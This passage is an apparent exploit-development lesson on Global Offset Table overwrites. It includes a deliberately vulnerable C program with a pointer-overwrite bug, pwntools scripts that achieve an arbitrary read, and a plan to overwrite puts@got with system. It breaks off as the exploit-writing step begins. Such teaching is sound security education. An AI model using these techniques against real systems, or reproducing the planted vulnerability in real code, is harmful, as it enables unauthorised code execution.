In this section, we will take a closer look at the Global Offset Table. In the previous section, we learnt how to use jumping to the PLT stubs as a technique to reuse functions in libc. When jumping to PLT, the GOT entry for that corresponding function acted as a malleable space where the dynamic address would be held. We shall exploit that malleability.
Now, let's depart from the standard paradigm of stack overflows for the moment. We shall begin looking at vulnerable programs that allow for write-what-where primitives, albeit in a limited fashion.
Our first simple example is the following:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
struct record {
char name[24];
char * album;
};
int main() {
// Print Title
puts("This is a Jukebox");
// Create the struct record
struct record now_playing;
strcpy(now_playing.name, "Simple Minds");
now_playing.album = (char *) malloc(sizeof(char) * 24);
strcpy(now_playing.album, "Breakfast");
printf("Now Playing: %s (%s)\n", now_playing.name, now_playing.album);
// Read some user data
read(0, now_playing.name, 28);
printf("Now Playing: %s (%s)\n", now_playing.name, now_playing.album);
// Overwrite the album
read(0, now_playing.album, 4);
printf("Now Playing: %s (%s)\n", now_playing.name, now_playing.album);
// Print the name again
puts(now_playing.name);
}
The program is vulnerable in two ways:
It provides an information leak opportunity when the now_playing.album pointer is overwritten and the album name is printed.
It provides a write what where primitive when the now_playing.album pointer is overwritten and input is provided to the second prompt.
Running the binary:
ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/build$ ./1_records
This is a Jukebox
Now Playing: Simple Minds (Breakfast)
Hello
Now Playing: Hello
Minds (Breakfast)
Stuff
Now Playing: Hello
Minds (Stufkfast)
Hello
Minds
It's a little screwy but nothing that fancy yet. Let's begin by trying to achieve the first vulnerable condition (arbitrary read). First, we can take an easy to spot target to leak. We can use the "This is a Jukebox" string. First, we need to figure out its address.
gdb-peda$ find "This is a Jukebox"
Searching for 'This is a Jukebox' in: None ranges
Found 2 results, display max 2 items:
1_records : 0x8048610 ("This is a Jukebox")
1_records : 0x8049610 ("This is a Jukebox")
Now, here's a skeleton exploit that will demonstrate the leaking of that string.
#!/usr/bin/python
from pwn import *
def main():
p = process("../build/1_records")
# Craft first stage (arbitrary read)
leak_address = 0x8048610 # Address of "This is a Jukebox"
stage_1 = "A"*24 + p32(leak_address)
# Send the first stage
p.send(stage_1)
p.interactive()
if __name__ == "__main__":
main()
Testing it out:
ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$ python 1_arbitrary_read.py
[+] Starting local process '../build/1_records': Done
This is a Jukebox
Now Playing: Simple Minds (Breakfast)
Now Playing: AAAAAAAAAAAAAAAAAAAAAAAA\x10\x86\x0�so�.�\xff (This is a Jukebox)
$
See the "(This is a Jukebox)"? That means it worked. Now, what we are most interested in are mostly pointers. So let's make a small addition that would parse the leak and transform it into a nice number for us.
#!/usr/bin/python
from pwn import *
def main():
p = process("../build/1_records")
# Craft first stage (arbitrary read)
leak_address = 0x8048610 # Address of "This is a Jukebox"
stage_1 = "A"*24 + p32(leak_address)
p.recvrepeat(0.2)
# Send the first stage
p.send(stage_1)
# Parse the response
data = p.recvrepeat(0.2)
leak = data[data.find("(")+1:data.rfind(")")]
log.info("Got leaked data: %s" % leak)
p.interactive()
if __name__ == "__main__":
main()
Running it:
ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$ python 2_arbitrary_read_controlled.py
[+] Starting local process '../build/1_records': Done
[*] Got leaked data: This is a Jukebox
[*] Switching to interactive mode
$
Awesome, now we can begin thinking about our exploit.
GOT Overwrite Strategy
At the moment, we do not have a target to leak and to overwrite. We must be careful to pick a suitable one because the information leak and arbitrary write has to be performed on the same address. Additionally, the write has to result in EIP control at some point of the program's execution since we do not have that yet.
If we take a look at the source code again, the following function is called last:
Interestingly, this is perfect for our uses. If we leak the address of puts in libc, we can calculate the address of the libc base and subsequently, the address of the system function. Also, once we have that, we can write the address of the system function into the puts@got entry so that when this final line executes, it will actually execute:
system(now_playing.name);
Which means that system will be called with a parameter that we control! How convenient!
Writing the Exploit
First, let's see if we can leak the address of puts@got. First, we need the address.